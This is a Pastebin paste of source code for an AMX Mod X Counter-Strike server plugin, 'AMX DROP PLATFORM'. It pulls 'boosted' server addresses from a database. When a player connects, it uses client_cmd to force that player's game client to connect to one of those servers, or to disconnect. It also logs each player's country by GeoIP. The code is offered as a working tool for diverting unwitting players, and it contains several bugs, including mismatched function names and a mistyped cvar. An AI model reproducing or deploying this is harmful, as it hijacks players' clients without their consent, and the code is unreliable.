Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <amxmodx>
- #include <amxmisc>
- #include <sqlx>
- #include <geoip>
- new const PLUGIN[] = "AMX DROP PLATFORM"
- new const VERSION[] = "2.0"
- new const AUTHOR[] = "dK^aLeX"
- new Handle:i_SQLTuple
- new iServers = 0, iServer = 0, iDrops = 0
- new const cfg[] = "amx_drop_cvars.cfg"
- new cvar_host, cvar_db, cvar_user, cvar_pass, cvar_country
- #define BOOSTED_SERVERS 10
- new ServerList[BOOSTED_SERVERS][32];
- #define TASK_TIME 1.0 * 60
- #pragma semicolon 1
- #define LOG "drop_pltf_ult.log"
- public plugin_init()
- {
- register_plugin(PLUGIN, VERSION, AUTHOR);
- cvar_db = register_cvar("amx_drop_db", "");
- cvar_user = register_cvar("amx_drop_user", "");
- cvar_pass = register_cvar("amx_drop_pass", "");
- cvar_host = register_cvar("amx_dop_host", "");
- cvar_country = register_cvar("amx_drop_sc_on_con", "1");
- new cvar_string_1[20], cvar_string_2[20];
- new cvar_string_3[20], cvar_string_4[20];
- get_pcvar_string(cvar_db, cvar_string_1, charsmax(cvar_string_1));
- get_pcvar_string(cvar_host, cvar_string_2, charsmax(cvar_string_2));
- get_pcvar_string(cvar_pass, cvar_string_3, charsmax(cvar_string_3));
- get_pcvar_string(cvar_user, cvar_string_4, charsmax(cvar_string_4));
- i_SQLTuple = SQL_MakeDbTuple(cvar_string_2, cvar_string_4, cvar_string_3, cvar_string_1, 10);
- set_task(TASK_TIME, "RefreshList", .flags="b");
- register_concmd("_boosted", "ShowBoostedServers");
- }
- public plugin_cfg()
- {
- if(!file_exists(cfg))
- {
- server_print("==================================");
- server_print("[AMXX] Fisierul %s nu exista!", cfg);
- server_print("==================================");
- }
- new dir[64];
- get_configsdir(dir, charsmax(dir));
- server_cmd("exec %s/%s", dir, cfg);
- InitSQL();
- }
- public ShowBostedServers(id)
- {
- for(new i = 0, n = 0; i < BOOSTED_SERVERS; i++)
- {
- if(strlen(ServerList[i]) > 0)
- {
- server_print("[AMXX] NAME | IP");
- server_print("%d | %s", n + 1, ServerList[i]);
- n++;
- }
- }
- return PLUGIN_HANDLED;
- }
- public InitSQL()
- {
- static SQL[512];
- formatex(SQL, charsmax(SQL), "SELECT `address` FROM `servers` ORDER BY `id` DESC LIMIT %d", BOOSTED_SERVERS);
- SQL_ThreadQuery(i_SQLTuple, "SQLInit", SQL);
- }
- public SQLInit(FailState, Handle:Query, szError[], Errcode)
- {
- if(iServers)
- {
- iServers = 0;
- }
- static Data[32];
- get_time("%d/%m/%y - %H:%M:%S", Data, 31);
- server_print("[%d] Getting Server List.", Data);
- QueryStatus(FailState, szError, Errcode);
- new i = 0;
- new Server[32];
- while(SQL_MoreResults(Query))
- {
- if(i >= BOOSTED_SERVERS)
- {
- break;
- }
- SQL_ReadResult(Query, 0, Server, 31);
- formatex(ServerList[i], 31, "%s", Server);
- i++;
- iServers++;
- }
- SQL_FreeHandle(Query);
- }
- public client_connect(id)
- {
- if(is_user_bot(id) && is_user_hltv(id))
- {
- new Name[32], Ip[32];
- get_user_name(id, Name, charsmax(Name));
- get_user_ip(id, Ip, charsmax(Ip));
- server_print("[AMXX] Clientul %s [IP: %s] este BOT!", Name, Ip);
- server_print("[AMXX] Kick in process....");
- server_cmd("kick %s", Ip);
- }
- if(get_pcvar_num(cvar_country) == 1)
- {
- new iName[32];
- new sIp[16];
- new Country[32];
- new Time[32];
- get_user_name(id, iName, charsmax(iName));
- get_user_ip(id, sIp, charsmax(sIp), 1);
- geoip_country(sIp, Country, charsmax(Country));
- get_time("%d/%m/%y - %H:%M:%S", Time, 31);
- server_print("[%s] Name: %s | Country: %s", Time, iName, Country);
- }
- RedirectUsers(id);
- return PLUGIN_HANDLED;
- }
- public client_putinserver(id)
- {
- if(is_user_bot(id) && is_user_hltv(id))
- {
- new Name[32], Ip[32];
- get_user_name(id, Name, charsmax(Name));
- get_user_ip(id, Ip, charsmax(Ip));
- server_print("[AMXX] Clientul %s [IP: %s] este BOT!", Name, Ip);
- server_print("[AMXX] Kick in progress..");
- server_cmd("kick %s", Ip);
- }
- set_task(3.0, "RedirectUsers", id);
- return PLUGIN_CONTINUE;
- }
- public RedirectUsers(id)
- {
- if(is_user_bot(id) && is_user_hltv(id))
- {
- server_cmd("kick %#d", id);
- }
- iDrops++;
- new sv[32], nume[32];
- formatex(sv, 31, "%s", ServerList[iServer]);
- get_user_name(id, nume, charsmax(nume));
- if(strlen(sv) == 0)
- {
- client_cmd(id, "wait;wait;wait;wait; disconnect");
- return PLUGIN_HANDLED;
- }
- client_cmd(id, "wait;wait;wait;wait; Connect %s", sv);
- return PLUGIN_HANDLED;
- }
- public QueryStatus(FailState, szError[], Errcode)
- {
- if(FailState == TQUERY_CONNECT_FAILED)
- {
- write_file(LOG, "[AMXX] Can't connect to MySQL!");
- }
- if(FailState == TQUERY_QUERY_FAILED)
- {
- write_file(LOG, "[AMXX] Quey Error!");
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement